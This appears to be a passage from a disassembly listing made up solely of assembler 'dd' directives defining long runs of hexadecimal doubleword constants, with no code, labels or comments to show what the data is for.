		dd 0ADB81BCCh, 0B0A7781h, 184D4969h, 0CB8F6C00h, 1C9C92D7h
		dd 7143CF21h, 409117A1h, 1DAEA1Ch, 0D01EA1F4h, 0CC6A868Dh
		dd 0D15C820Ch, 0CB117Ah, 0CE41872h, 0CA10A9B2h,	0B0BA49h
		dd 0C02B61C4h, 7B0715h,	481B8F70h, 7AFD9334h, 0DCF2500h
		dd 6FC5A8Ch, 0B110007Bh, 1DA62B37h, 4A0A91D7h, 34A15B38h
		dd 0EC45893Dh, 2730229Ch, 0AD08113h, 0A0493CB5h, 35FC7881h
		dd 241A8BD7h, 0FE066B00h
		dd 0E35065EBh, 0DE332410h, 7021800Ch, 0C70E297Ch, 771F88B0h
		dd 84A81245h, 0BAF19703h, 0E3A8F5Ch, 612AE170h,	0C17B9505h
		dd 95A0886Ch, 0F040AB61h, 11428151h, 0C049BD93h, 70EA045h
		dd 902E4AFBh, 0F98B6BCh, 17EB3809h, 2B7421E2h, 611273C9h
		dd 0E61054ACh, 0BCBC5751h, 4B7D0CE1h, 4D9238BBh, 0D6006097h
		dd 0EB5CC9B3h, 87494499h, 8104804h, 8A1D1E46h, 40C97EDh
		dd 4A1BCB72h, 1E9F1860h, 3609265Fh, 0A278201Dh,	7127FDFEh
		dd 648E00E8h, 48CCE130h, 2F03D9E4h, 0A59611Ah, 8FC805B4h
		dd 80864E8Dh, 2F97E599h, 2C177AFEh, 8491357Eh, 0E9D0A5FBh
		dd 5E070BF6h, 0A091E8FCh, 4759D4C2h, 4B18002h, 0A2B692E3h
		dd 0C8FD3A90h, 67D9D4h,	404AFC6Bh, 0C5302FF8h, 28153900h
		dd 0AD858146h, 436007FFh, 97CC52h, 67D50AC6h, 0AA0FAB00h
		dd 99C4E1C5h, 0FFAC135Fh, 0A93E0220h, 485646E7h, 0D6258340h
		dd 0FDD50074h, 8E226652h, 330010CDh, 907BBC23h,	15E4A8Dh
		dd 6315361h, 0D84D714Fh, 0B3190E88h, 22F8937Bh,	9CC8412Bh
		dd 0F1D65FCEh, 349EEC61h, 0A6A12401h, 0E43A1C25h, 0A3BADCh
		dd 7C414760h, 6B2E1987h, 8695D31h, 20802590h, 0AE3FF01Eh
		dd 0D71BE34h, 89D4800Ah, 465C249Eh, 0DE700AFh, 6853AC6Eh
		dd 8018C118h, 0D0A4525Dh, 1C00601Ah, 4BFDC538h,	63FE09h
		dd 0C42DEA3Eh, 7FAFF48Fh, 0E2D20F00h, 94664F62h, 7440CCFh
		dd 0BA48DDE6h, 6ADFAB00h, 748AC9FDh, 6FC03AA5h,	609F8618h
		dd 0DE00D303h, 193E0AC7h, 3B483783h, 4B800EAFh,	8069AAC5h
		dd 8733F495h, 641A6854h, 603E68A1h, 102CDFB1h, 0C86FB9FDh
		dd 699059h, 6C1A0D6Dh, 3861037h, 0F2409161h, 58006653h
		dd 168BCF69h, 8F1B32h, 0D8B0D094h, 7F79BEA2h, 3D6CCE03h
		dd 4FF777h, 4DC61631h, 768C8FACh, 2C27E91Ch, 1DA8445Ah
		dd 80731184h, 0CA1C4B34h, 8D25058Bh, 1DCC60C7h,	26582ECh
		dd 34C0A362h, 1100EFA5h, 0C0727F46h, 0EE78AA42h, 0E79F0035h
		dd 144138A4h, 23003905h, 0E5D696E6h, 72DA471Fh,	7F9F1DD0h
		dd 20D8DD1h, 0E7628020h, 0CB9BB8Ch, 0D4BE00A5h,	0A9AA8343h
		dd 2100B508h, 655C9233h, 30827B80h, 47380672h, 6809BF8Ah
		dd 0E02FA8h, 277B4F18h,	38EB0C3h, 8552372Ch, 680034DAh
		dd 0EFBD4CC6h, 18CA3B83h, 84459F0h, 20C0143Fh, 0CFBAA7A6h
		dd 5420001Dh, 1C1FA0B8h, 0BCFD8362h, 9E7B38A9h,	0E00036E7h
		dd 2E8B9AC0h, 85B703EDh, 1B204A2h, 0B5202867h, 2753A141h
		dd 8D031180h, 29C8CDD4h, 0A80F5B0Ch, 0CE2C0881h, 0D3805C21h
		dd 0C6C01E14h, 345D1500h, 9078FC3Bh, 0CEC288Ah,	30397484h
		dd 25E8362Ch, 8454C137h, 0BC021170h, 0A0F3856Eh, 381D10F1h
		dd 1688B80h, 45E44ABDh,	80353E8Fh, 0BED45F60h, 0CED5BFBh
		dd 6C41506Fh, 0E615B418h, 13605510h, 0EB0AD468h, 4446091h
		dd 2D4A714Ch, 8000D5E2h, 4CEC35FAh, 0E782127h, 0AC986DF2h
		dd 77853CAh, 0A07B081Dh, 5F672A85h, 9E429C1Ch, 0A388EAC0h
		dd 483477F1h, 0E633A9DDh, 38CD198h, 0A0BC2DE1h,	270B7Fh
		dd 0B70A7160h, 8E03A078h, 859B530Fh, 1AA1A0EFh,	3AD08A68h
		dd 7700D4AAh, 540D2CF8h, 4100CBD2h, 2ED92DECh, 0B34E98h
		dd 431A4CDFh, 605FD0CCh, 0E7008BB8h, 66A131E0h,	2AB4A5h
		dd 849D9702h, 0E9728A08h, 5552CD00h, 9A661E3Dh,	8C8E001Ch
		dd 700DC4D7h, 49000740h, 0C0A91BD1h, 0EDB968h, 64D0399Ch
		dd 0BE31DEA3h, 0DD0009FAh, 91C3150Dh, 0FBBF6ACh, 8F5EFC77h
		dd 0E79AC03Eh, 63950D4Fh, 0A6A40807h, 7E00117Ch, 4CFE5B22h
		dd 0A707DE88h, 801E842Dh, 0C4B24AE9h, 15D8BD17h, 0C7DF0200h
		dd 0EFAEE74h, 0A95AC923h, 16098F0Ch, 0BF40DD85h, 0F3A57DDh
		dd 18D42497h, 0F4037180h, 0B100AA96h, 0FCD99B6h, 7588111h
		dd 7D9E574Dh, 703710DDh, 29C4F3EDh, 0FD4272D2h,	0C9014BFEh
		dd 5403DE98h, 0C80F2FDAh, 6C728C71h, 0DB449551h, 29F76191h
		dd 1CE117Ah, 11159E8h, 0A61311DCh, 101F6611h, 804AC7BDh
		dd 8E40A7CDh, 0C2EC4478h, 10E24F19h, 2988AD50h,	0B14EA6D9h
		dd 6E0CAE21h, 0A0A5796Fh, 88C7C928h, 0F680D72Ah, 0C65400E6h
		dd 46263475h, 1B705E97h, 80622000h, 30A3C874h, 765A0023h
		dd 0A64B26C1h, 0BF00F4B1h, 0D4B3D513h, 38C7896Ah, 0C1856EDFh
		dd 0C03A836Ch, 64629796h, 898C5100h, 96F5CF66h,	61A30040h
		dd 330A37A7h, 4FF4CC21h, 0DA2F8600h, 0C929B420h, 0B9D009Eh
		dd 0FD9AD761h, 0EB00AC7Eh, 1F59AB8Bh, 0E4E507h,	5C0C8E2Fh
		dd 0FFECCE21h, 6EF53C00h, 4EC31229h, 0A8192C9Ch, 10C83946h
		dd 0CF000A3Dh, 5A54B248h, 7002AD6Dh, 0A4337F52h, 0EE00DD6Eh
		dd 0E0DF02B1h, 54F41200h, 6839319Ch, 2F8407B8h,	80E396EEh
		dd 0F0EAF53Eh, 0AD8A8106h, 36130C0h, 0A0E3D45Dh, 0F0F7E88Fh
		dd 4DC20315h, 9117FD00h, 0A4ED6007h, 147322h, 0BC791CB2h
		dd 6C74D40Eh, 6ABD1E00h, 97C5B402h, 731901DDh, 0E59B1433h
		dd 0CC9EE451h, 0CB103400h, 15F087FBh, 481E0704h, 70964BD7h
		dd 4E2C46BFh, 900B498h,	5BB5DBEEh, 7D62EBDh, 0B0A790A0h
		dd 0D570702Ch, 0B2004E3Fh, 33DDEB08h, 891693h, 65DF1F3Dh
		dd 6734A330h, 41372800h, 693BBE4Eh, 0F04DFEBDh,	0B5400B1h
		dd 0C6D2B9C2h, 6E00B26Ah, 0C77B4D8h, 8A0D49h, 0BAA04E83h
		dd 0D5F7B6FEh, 12E9D900h, 0C8EC0A35h, 5A1B00A6h, 245EDCDFh
		dd 320FBE98h, 5CE286h, 21E8F703h, 0C7EA70h, 0B65AE333h
		dd 0F2BCC6E0h, 7FA7F300h, 49EBD736h, 0E8E60018h, 5FACF097h
		dd 700F210h, 0E29E0DFAh, 1D05CB1Ah, 0A4F9DDFEh,	0A4D60060h
		dd 0C128EE55h, 4AA24607h, 133718BBh, 0E1C9E2D0h, 30B300C4h
		dd 0BF3FA333h, 0D100D569h, 1B78C7A2h, 168FB8B4h, 1734943h
		dd 0D0F898C8h, 0CA29F805h, 0A363D300h, 74AE81CBh, 0E85D07B0h
		dd 80D19FD9h, 0BE40AFE4h, 11FEB97Eh, 0E7843709h, 455881E2h
		dd 88248E9Eh, 139A1FDAh, 0DB10085h, 4E8FC64Ah, 77FEC800h
		dd 0F66AD81h, 0E8F3001Fh, 585B3AE3h, 0E100D976h, 0CA381A23h
		dd 1E188680h, 0C0D41579h, 3E29D2A8h, 5FE0A76Ch,	0C8519100h
		dd 8597CA2h, 0C4D80071h, 0AF4F1C44h, 7D0087B6h,	8E5358F1h
		dd 13BDC5h, 2CAD12BEh, 9CCEEFE4h, 331428FAh, 7D015B2h
		dd 0D723A339h, 26C8ECh,	0EB6B9A73h, 67177844h, 0B90491E2h
		dd 87E468C8h, 736F9780h, 7E3700C2h, 17128ED5h, 0AF00341Bh
		dd 0F58B04A5h, 5408B4h,	882F6B8Fh, 0BB384929h, 8C21C800h
		dd 0ACC5D67Dh, 63C0E36h, 40A0EFD9h, 0DA2A87BFh,	0FFF8475Ah
		dd 6476F503h, 0F790ABFFh, 0A3001867h, 0BA70E1BCh, 0E25DD223h
		dd 13EA0089h, 9414E7CBh, 0A03D8B0Fh, 0B7037466h, 181E6FADh
		dd 2951DFC4h, 0A4408C36h, 77075DAh, 0EA637A81h,	0FADC7024h
		dd 0C102D818h, 92D43ACh, 83E077B0h, 0A1D5531h, 9401BC3Ch
		dd 20712BB2h, 8B979FC7h, 22AC7011h, 0CB176880h,	0D1784F61h
		dd 0D0AA48h, 558721CAh,	7AF68Eh, 0AC993510h, 4D421AB4h
		dd 3ADF0300h, 81276E1h,	54D000FBh, 14CB3BEBh, 0A20015A1h
		dd 0B036609h, 3D88922Ch, 3A809C99h, 812089C0h, 0F8A00EBEh
		dd 57071935h, 0FE5C3C31h, 932A8AE0h, 0C2A700B1h, 0BD6CE5FFh
		dd 0E81DDC3Ah, 0B883EB7Ah, 985E6548h, 7E874BB9h, 41F10026h
		dd 9E193892h, 88A0DD3Ch, 2B006798h, 9DED6957h, 36256h
		dd 4FF1170h, 8E51293Bh
		dd 5426337Ah, 0A70094A6h, 76D0066Ah, 6E5D3AD4h,	0B9009E3Dh
		dd 573C2F78h, 2C073D66h, 3549AB47h, 259CAA00h, 56110F9Eh
		dd 8360B68Bh, 0EAB13E54h, 4498D5E4h, 345F58h, 7BD426B3h
		dd 7868Eh, 8F82A21Ch, 0BD9705F6h, 0AF28140Eh, 2C7C631h
		dd 71EA00B8h, 0CCA24D17h, 0D3F4BB4Ch, 0E3865E00h, 95A7FD22h
		dd 1D5D3423h, 0E6D40446h, 941880E9h, 131F75CBh,	0F6925FC4h
		dd 92FC7800h, 6DDEB1h, 8B329559h, 4C1995Ch, 120B5F0Eh
		dd 0CB3A23FAh, 9620A8FDh, 0E07C005Eh, 0A56519Ah, 2241426h
		dd 0C90E3F03h, 428060D3h, 7A0520D5h, 2C7A55h, 0C871AF0Dh
		dd 0C1CC77BAh, 8784D204h, 43C0549Ah, 7227A817h,	0D4B9007Fh
		dd 4AF7222Fh, 39FAD668h, 23612E00h, 55AFAB3Ch, 40E802E2h
		dd 34F2E774h, 0AEEAB460h, 95F98714h, 0A36400CBh, 0D45AA78h
		dd 5E703F66h, 6B053702h, 0F40C55Fh, 8A00C909h, 0E9A1F08Fh
		dd 1FA827A5h, 3A911CE1h, 62BCB504h, 7CE48258h, 0D67E19E0h
		dd 96E9C200h, 47B93987h, 0CAE35006h, 13160018h,	8AC04DAh
		dd 8F070B0Fh, 0E27B5DD6h, 0E7B29390h, 2F21000Dh, 9AAE7730h
		dd 321E7A72h, 7B00D26Dh, 0B0F0568Fh, 88522841h,	9F9A03FFh
		dd 2E536F92h, 0C4385981h, 46EA3F2Ah, 173CE200h,	9D65CF2Bh
		dd 72A40088h, 96588C74h, 0AA989742h, 0F91FC907h, 0B1D0B3DEh
		dd 1072BD3h, 0EA464BD9h, 0F8DF56C4h, 0B009A08h,	0D63152FAh
		dd 20248Fh, 0C01FB811h,	0A1E28A3Eh, 62DE601Eh, 25689B00h
		dd 18441683h, 2ECFA81Ah, 0FA002E0Bh, 0D50C6319h, 0B6CAF9Ah
		dd 0C5DAB8D0h, 7D8D6D81h, 599180DEh, 603740BFh,	0BD09F16h
		dd 1B34A501h, 6475F513h, 0A0180FC3h, 0C5216ECBh, 24D459B0h
		dd 0C2001F18h, 7B90F3D9h, 0A9752Ah, 0D0DD7C16h,	0B445EE3Bh
		dd 829FA703h, 0D7059118h, 0F680FCC5h, 3BF94890h, 0CC1F4730h
		dd 5DE30378h, 5098B842h, 85016D2Eh, 8DB0F698h, 27F0896Bh
		dd 91CC00C7h, 15265C96h, 0A973A23Fh, 0FF747A07h, 3AB8014h
		dd 89692E1Ch, 0FC309E8Ch, 0FEF8002Ah, 0D0F52C95h, 4A01F370h
		dd 1FC35DA2h, 0D3F8EB8Bh, 0EC3E5D14h, 0F4D26100h, 2377B9CEh
		dd 0F00013B0h, 0A4976894h, 9EC7F70h, 0CB561B4Eh, 3AD00800h
		dd 2E01CF5Dh, 9771866h,	6BE8B338h, 896800DCh, 9332A842h
		dd 4F0028FBh, 531E20C7h, 2E678730h, 5C0919h, 2D47CC42h
		dd 9600F251h, 0DFFA567Dh, 62A0E0h, 0FFF633C3h, 0EEA82C2h
		dd 4357CA00h, 75BEE112h, 0D3D42C0Ah, 72FE0083h,	9A5A011Eh
		dd 0D4EDD574h, 6E008B13h, 3633B79Dh, 3A944146h,	1D02E705h
		dd 0A3FC278h, 916377C0h, 0C4828001h, 0E28C5A15h, 73B2AC8h
		dd 6FB1B459h, 6AD2C050h, 9300F9A6h, 0B29A8543h,	0D62FC5h
		dd 2209F338h, 0FE0DE55Dh, 8D600467h, 7FF98250h,	0C54B6Fh
		dd 2E4BEDA0h, 0E400BAA7h, 7177A09Dh, 2CB011h, 0BB064CA3h
		dd 18BE6DFBh, 0C4E52400h, 0DBE4B650h, 0D0C53FE0h, 0AC74640Fh
		dd 0F913BAA3h, 0B7A33AFBh, 37CE5E98h, 480BD096h, 4CC02018h
		dd 48607D29h, 7B005C02h, 0C305765Ah, 0A7007AFEh, 689833CAh
		dd 0C2E6B7h, 96024BD5h,	742DC831h, 0F801E074h, 0DE6DDC32h
		dd 0F820B507h, 3CBD004Dh, 30D6D4BEh, 0E80035DAh, 0B05D31E4h
		dd 229CEAh, 2092652Ch, 85FEC2B6h, 0BC99B500h, 0A217D8DAh
		dd 798201F8h, 5273F348h, 0E582207Eh, 6D4AC00h, 87DBD921h
		dd 6EAB008Dh, 0BC65F530h, 0F000EF1Ch, 88B5116Fh, 581ABA92h
		dd 9E00BCD5h, 99964DC7h, 0E482B39h, 0D3D8008Ch,	294ECEBBh
		dd 0F1C2006Bh, 5917FB83h, 0E0120951h, 9B00C0B1h, 461D27F5h
		dd 15C500D3h, 446B96DEh, 9500E681h, 340C6E13h, 7C27DC2Eh
		dd 325B023h, 9AA40ED3h,	0F1B007B8h, 14007A6Ch, 0AFE29D87h
		dd 3A960B35h, 880066C0h, 6A94035Fh, 5E008CFAh, 29D68EC1h
		dd 964FF86h, 0D593A262h, 60426069h, 26009260h, 8CE96D4Bh
		dd 166CBD4h, 0E0D2A7C8h, 0D0A39637h, 47015C39h,	0D7D1AA8h
		dd 6C306F4Eh, 4DF600BBh, 0D068BCF1h, 7B003013h,	22CC8AE4h
		dd 74DAADC9h, 0C01E1462h, 7AFC03h, 0D80CCF38h, 0A12D3A1Dh
		dd 0F5727300h, 0AB5BA925h, 14680028h, 0FA5F21C9h, 5C00F2D6h
		dd 2D5487F3h, 83521Bh, 0A9891680h, 0CA97A675h, 84E36103h
		dd 0F8352076h, 69E236h,	60FBB3FAh, 0CB33F447h, 0E48A7000h
		dd 0D131EDBDh, 0AA9C05F3h, 0C19A34E2h, 740E0B54h, 391CC050h
		dd 0C3411A62h, 0C82B7D8Ah, 0F9C13030h, 0CC5130h, 0DA42CEAEh
		dd 0F51CF0DEh, 167D5E00h, 389DE809h, 0A4610053h, 6B1E420h
		dd 7A005FFEh, 0EEB9DFFBh, 7229BFFh, 88CBE02h, 151C100Ch
		dd 180ECEE4h, 20FB98D1h, 0E85DBAD5h, 0E1ED009Eh, 8387A91Ah
		dd 2DF67630h, 53B7F900h, 0A85C6F80h, 72740728h,	0A9F83DF4h
		dd 1780A30Fh, 5489C455h, 8381A738h, 914A1040h, 3A0CA929h
		dd 20186880h, 0ED195352h, 0D794A100h, 33DB1042h, 374E0065h
		dd 608AA526h, 0A27A8022h, 0BF45D616h, 81E8CF0Eh, 0A719F8EDh
		dd 40B3199Dh, 1CFDD18Bh, 0CF1FFE6Ah, 0A8827409h, 40E6CD83h
		dd 24EAC4F7h, 0BC586Fh,	67D53427h, 0BC60D4AFh, 6DE07A36h
		dd 0EE57382Ah, 662BA680h, 7027BB71h, 0A8905A3Ah, 6200ED7Fh
		dd 0C408D692h, 78C9C38Bh, 0E3CA00F7h, 68365661h, 0A7008134h
		dd 21997EA2h, 0C2ACD2h,	4EDBC072h, 5F763573h, 80E63439h
		dd 0B257E11h, 69C7Ch, 0B95E2F26h, 0EB4C64BEh, 803D0E3Dh
		dd 0B12DBC05h, 4F58A2h,	64994579h, 0B78BAE39h, 91E40107h
		dd 384025D9h, 168A275h,	2912C974h, 0DC204B17h, 3403A4CAh
		dd 0A77ECE92h, 0D74CD941h, 0B778EAC0h, 9311FC40h, 0B8F7CA01h
		dd 0BBBA56C2h, 0BBC60h,	7AE0D4C7h, 6D9B3A85h, 76EBD607h
		dd 6EC0DA02h, 0F0E7A7A0h, 78397931h, 9CC900B6h,	7EF01295h
		dd 0DF00AA28h, 0ACC823BCh, 0DA0376h, 5A6CD5CAh,	89A0460Fh
		dd 0BE5FBF04h, 24C0908Ah, 0C850F8h, 0ECEB45F6h,	0F9C5A41Ch
		dd 0CB435114h, 6F4200E0h, 0A9306A12h, 49E7966h,	8CB9DE9Ch
		dd 0EFCBC147h, 7217C853h, 3C4E9D00h, 0CC9AFA39h, 34F00DAh
		dd 0ECEDD934h, 8D00DE3Bh, 49E7AB95h, 593CD7h, 0C56C2CC4h
		dd 80DA3F55h, 20C60324h, 3B16DF00h, 3AD76F2h, 0DC9B2DC2h
		dd 0ED91B25h, 773C20AAh, 0AF09100h, 0AB7C2027h,	9DDB18D8h
		dd 4FAA4112h, 5B0E4Ch, 0B664A75Fh, 14F9089Ah, 0F80797B8h
		dd 0A0C33900h, 4761D821h, 6B46C500h, 3524D931h,	9A9B032Ah
		dd 0F0DBFE29h, 7F4C74C8h, 0AF83AE00h, 0F99678B5h, 9020089h
		dd 40B2A811h, 10C08A9Dh, 1F0B28B7h, 0AC1904D5h,	81CC62ADh
		dd 489FB854h, 15003ED0h, 0E614D04Bh, 76EC8Fh, 80FCE08Ah
		dd 5647C69Eh, 0F8A9310Fh, 925F67B9h, 87434560h,	3D1A0078h
		dd 1F858B0Fh, 0CD006A10h, 4BF188DCh, 81A3BFh, 973CF6E0h
		dd 6EEE6B8Ch, 4A855001h, 0FFCC58A4h, 9BDD8985h,	1B80001Ah
		dd 7D111C79h, 0EA3D939h, 63021D3Ah, 97A8BDh, 0FDEDE598h
		dd 0C4C23529h, 0E308D100h, 5E30FC12h, 0E7759Ch,	0AD1C4C69h
		dd 40C10933h, 989DA703h, 80AA9E85h, 13716150h, 710C691h
		dd 0A75B953Ch, 37AD907Ch, 4D7C557Eh, 22FC9076h,	0D4526600h
		dd 0A031D932h, 17F4245Fh, 152B001Ah, 7AA1E3CDh,	8EC83Bh
		dd 81E5A644h, 9A8CB7h, 72F00AC2h, 0EE2A262Bh, 0FB146903h
		dd 9233DEE3h, 0DC0840D0h, 40B4D220h, 0EF49D448h, 2C49CE44h
		dd 36A700F0h, 1E46BAFFh
		dd 0B8F81DEEh, 0B5156D9h, 4E006275h, 0CE18AC02h, 0D55D8C00h
		dd 787B2671h, 63B881h, 3A70A338h, 89CAB936h, 0D5FF0603h
		dd 9834ED82h, 5FAFAA9Bh, 0BFC28h, 0AE3341B9h, 20F46Ch
		dd 37F15F14h, 1AF61DEFh, 9479A400h, 808D5E15h, 6AFE224h
		dd 0D4F564A1h, 0EE0698E6h, 7FB5EB1Fh, 0E937B28h, 6584302Ch
		dd 0C04AC804h, 0E9895950h, 0E87B5124h, 224F4902h, 43B8620Ah
		dd 0F367EF39h, 0B22C1990h, 78CD0379h, 8606447Bh, 0FE173000h
		dd 0F8F95C30h, 4EA6008Eh, 9B15165Eh, 0E6782B34h, 1020D600h
		dd 6DD83154h, 9D8A1D1Eh, 7DB04006h, 4E43753Eh, 6EA05C00h
		dd 4D583711h, 0BB800E0h, 0D13CC904h, 6C7B2DF9h,	6801A800h
		dd 0F633898Ah, 541B008Dh, 3A982BD4h, 951D8564h,	43C045CDh
		dd 68C551CFh, 0EEFCEBh,	0CBC33CB7h, 7C48CA20h, 0A4189B12h
		dd 0B9F40400h, 1E2B2610h, 80A007C5h, 904399F8h,	531EAEE9h
		dd 0C0059B6Dh, 3490C4E0h, 44351Eh, 578EDBD7h, 0EAFA8813h
		dd 0D8016800h, 84826BE3h, 5F4E0087h, 0F8A458E5h, 0B600AE41h
		dd 0FF97FC94h, 70A9C6h,	0AD4B67D7h, 0F323D184h,	0D0573D00h
		dd 0FCCF9F5Ah, 7730045h, 28847D4Ch, 9B90BAB8h, 0A6A23B00h
		dd 0A7C25BB0h, 0F65A0071h, 0C7ECBE4Fh, 49008747h, 9857ED24h
		dd 0D41B3Fh, 997DB4BDh,	7E5FAF84h, 0AA14A300h, 2FFA0F3Ch
		dd 9493A004h, 0C03E00F1h, 305A5611h, 0BE74845Dh, 58770300h
		dd 0DFA9F4C7h, 0FF640079h, 0C4D3614Dh, 0EE3DBFFEh, 56C18097h
		dd 9874018Dh, 0E915012Eh, 0E845AA8Ah, 0C186D04Fh, 0A490C818h
		dd 0AC4ADCh, 0CB6D3135h, 5269EABAh, 8FAD9903h, 0F95A7868h
		dd 0DBDC7EE3h, 0C12900D7h, 0C7F463C2h, 8800BF9Ch, 28ED4FFDh
		dd 7CBAAF61h, 0F1400024h, 276E1A2Dh, 0F002336h,	2589353Ah
		dd 2822BE0Ah, 9084B3EEh, 6CA63969h, 43AF7D80h, 0BD089F55h
		dd 5E1CE000h, 32D572B1h, 870700F9h, 759E79E4h, 9D00FF93h
		dd 0DACE1CF2h, 1EC01322h, 0C0BDE2A8h, 204D4183h, 0F20A6DC9h
		dd 8493D353h, 0EF07111Fh, 0A96077CCh, 7BD195h, 9DC2B5FEh
		dd 0A7862C90h, 5DE6EF00h, 35A8E58Fh, 96581C9Bh,	0F405007Dh
		dd 0F94550AAh, 0FB5812F2h, 1011241Eh, 4494C100h, 14897B4h
		dd 0D4348AA7h, 0CD1D8786h, 91D8C363h, 0FF0390FEh, 2ED9B03Bh
		dd 6AA00542h, 0AA0704C5h, 96FDFC0h, 10730076h, 331B7752h
		dd 6302CD84h, 0EB5197C6h, 0DF60C0FEh, 0F21C00A1h, 0D83F2866h
		dd 0C5077212h, 0F36590DCh, 2587C02Eh, 3080BEh, 0D23E8D41h
		dd 997ACCE9h, 491B3102h, 0F0815274h, 4C9348ECh,	0E1681005h
		dd 2DF48039h, 2E784C60h, 0FC36D901h, 7AC68FCEh,	0E528D4h
		dd 0B47B085h, 3C3B0D39h, 54376700h, 98F76E16h, 0BD830028h
		dd 5A5BC959h, 5E034991h, 92C427ADh, 0B61CD157h,	20C098E3h
		dd 0BA690034h, 0E7B38CA6h, 750018CEh, 99C85723h, 0F84A841h
		dd 0EB0C61DDh, 1A564BE0h, 3700E9E6h, 5FC6328Ch,	3E6AEF7Fh
		dd 0E4004AB4h, 77CB7A85h, 501C82B3h, 9200BC70h,	87FFC44h
		dd 0EA8F096Ah, 998027DCh, 644754A5h, 0CBBCEF01h, 0DF104337h
		dd 3DEAB20h, 0A55B9B29h, 20D08A6Fh, 0A33075F1h,	8748D852h
		dd 0EC4F70B9h, 761418ECh, 50575136h, 41F1F603h,	0A0A6C878h
		dd 3683860h, 6AE085CEh,	0FB903AB0h, 0D0E35F1Ah,	7A0147C4h
		dd 0C583E449h, 67CA4B7Dh, 0C937900h, 57E50E33h,	0B2A03D25h
		dd 620D48E4h, 0D00F0978h, 20B5C5ECh, 0C80FBC4Dh, 0BD9700E6h
		dd 0AB7156FEh, 9000D031h, 28920ED5h, 4F99A6h, 8AFD401Eh
		dd 828B93DCh, 62596100h, 3E5348E3h, 34D029D6h, 7A61238h
		dd 0E0272418h, 19F5FF1Eh, 0CD9ADE26h, 0E200E020h, 5A79AC34h
		dd 3CED4601h, 9F262A7Fh, 0B2190008h, 5C88187Bh,	0B9905700h
		dd 0D62FEE7Eh, 8C6E00F8h, 2064787Ch, 3700DCD3h,	63C9A057h
		dd 1AC034h, 0D58EE146h,	0D15CCBBAh, 6BFC8800h, 1FF9371Dh
		dd 241898F5h, 1D30951Bh, 0D9AFC059h, 225D0AE4h,	0C3002898h
		dd 920936CFh, 2B22EFFh,	76D7DA7Ah, 0A86435C9h, 75EC20h
		dd 0DBAB6B22h, 0EE309CC0h, 0B0F6D507h, 63D01372h, 76256760h
		dd 9D8C0F1Bh, 0B84018E0h, 4D49BFE8h, 0CD9A3700h, 42F060DDh
		dd 88B1601Eh, 1C479C8Bh, 0EE103E00h, 9457554Ch,	5DF00496h
		dd 805A4495h, 0E1639044h, 0D030C400h, 4E61E579h, 578118E2h
		dd 521ED07Dh, 1996B600h, 0B534606Ch, 5E7014A4h,	72A88Ch
		dd 495B7F80h, 27AC3EC8h, 28B36900h, 0C91BF708h,	0B4EE72h
		dd 2045E3E1h, 66DA9326h, 9B6394A8h, 10D450A1h, 3528AEh
		dd 0C8906422h, 0D8DCE4D0h, 77816E00h, 8EA068FCh, 153E04B7h
		dd 92325A70h, 18450CE0h, 0CEDB0B82h, 894243CFh,	46E9348Bh
		dd 9740FF4h, 390D94C8h,	0FB207E00h, 30F4BC3h, 4FC408F8h
		dd 0B616C060h, 0F80D0E0h, 0C371B4EDh, 0E81A97C0h, 0AC008104h
		dd 35FA5810h, 0E91F9h, 3193229Dh, 57EC12B3h, 0BD2BE8A0h
		dd 1E3EBC01h, 0DE998D94h, 4BE469E1h, 0ECB800AFh, 56C22BF1h
		dd 42066A5Fh, 0C337D011h, 2D060070h, 0D79EA0BEh, 9D703485h
		dd 999B548h, 800F8019h,	0B9E1ADAAh, 1242007Ch, 5D244349h
		dd 0A7007B6Ah, 79917A22h, 1D66434h, 55C8E2D7h, 7046513Bh
		dd 0DF00FB44h, 0FA70BE92h, 1542A0Ch, 27A442BCh,	0F8B114AEh
		dd 0C32C7C1Fh, 0E69C104Ch, 5B1EBF00h, 4B78Fh, 9939B080h
		dd 0CDD545Fh, 0CE17437Bh, 0D11ECC76h, 0F211E640h, 0F55D96DAh
		dd 983D02FCh, 0D7470070h, 4AA0BA31h, 0B2F8425Ch, 0E63A6C06h
		dd 0E105BBDh, 7D90D5DDh, 0A6AAABE0h, 700C844h, 7AF6ADBEh
		dd 7C5143h, 0ED10A87Fh,	0B77E32FCh, 5200E47Ch, 0A78129B4h
		dd 796152Fh, 21CEBC4Eh,	0A18E8006h, 6C003C24h, 7FE01A82h
		dd 0D922D3h, 0F74A8920h, 0D405AAF2h, 2FA26F01h,	274E7D5Eh
		dd 0DED7E8h, 0EA97AEE8h, 3C9C7532h, 24115700h, 0C326BE4Ch
		dd 0ABE2005Eh, 0CF1DBDE4h, 7501A177h, 0F924B969h, 91D4927Bh
		dd 0AFF500F8h, 38C088B4h, 0F1073F57h, 69591527h, 0A1E64211h
		dd 2F81D4h, 0D465ADFBh,	122E4D22h, 68AACB01h, 3FAC1FBAh
		dd 78281FCh, 0AF5BCE9Eh, 0E9EE0165h, 0D9328086h, 84EBE8F0h
		dd 10900079h, 0C64AFA5h, 0CF1FDEE1h, 1E40E0BEh,	0E32F1CEDh
		dd 0F3B0E5Bh, 55E1A99Eh, 0E4EBD7FBh, 58C08E15h,	0ED6BD8FAh
		dd 21446045h, 9A4BC3Fh,	850C1D1Ch, 0CFFA8C40h, 570586Dh
		dd 6F558F05h, 0B98800BFh, 86F35062h, 0DC094106h, 9018B0C4h
		dd 0F51427D9h, 5F006A56h, 0FDF4688h, 1BDA0078h,	0E1A8A34Eh
		dd 7D00401Ah, 0F2CA549Dh, 3E472FEh, 0AD634994h,	0C2D02561h
		dd 0C5000E4Ch, 0E188B720h, 7731E5h, 0BF4E3D96h,	8A9D6407h
		dd 19A77500h, 2D7C673h,	0E59800C2h, 0DAD8B7ECh,	0BA900564h
		dd 8A5E0100h, 0B9C6FF9Ch, 0EA510089h, 0E13C0F6Fh, 0B8A19DB5h
		dd 705AC19Bh, 0DE04F1A4h, 98B7C1D8h, 81E970C0h,	8AD900EFh
		dd 197AC3F9h, 99758965h, 8F9BDC3Bh, 0A0633D0Ch,	8216ABD2h
		dd 0F22201B9h, 0F723D7B3h, 0CB2CC888h, 93F54A03h, 9C09CCh
		dd 0D284BB81h, 853A4667h, 3B004074h, 1E9AF3CBh,	7F0EB390h
		dd 0FBBD03F5h, 0A0C7B40Dh, 60AD24E8h, 0F41CD974h, 32C38FA4h
		dd 0B3D537EAh, 932E8823h, 0C65400FAh, 0A5098BBh, 8800956Eh
		dd 1DF012D4h, 0F20144FEh, 8A220049h, 0B2F523DEh, 0D52A6730h
		dd 6A00E04Dh, 0C47ECFF7h, 125EFB57h, 1A58DB7h, 5244886Ch
		dd 0F10DC81Ah, 4BC78003h
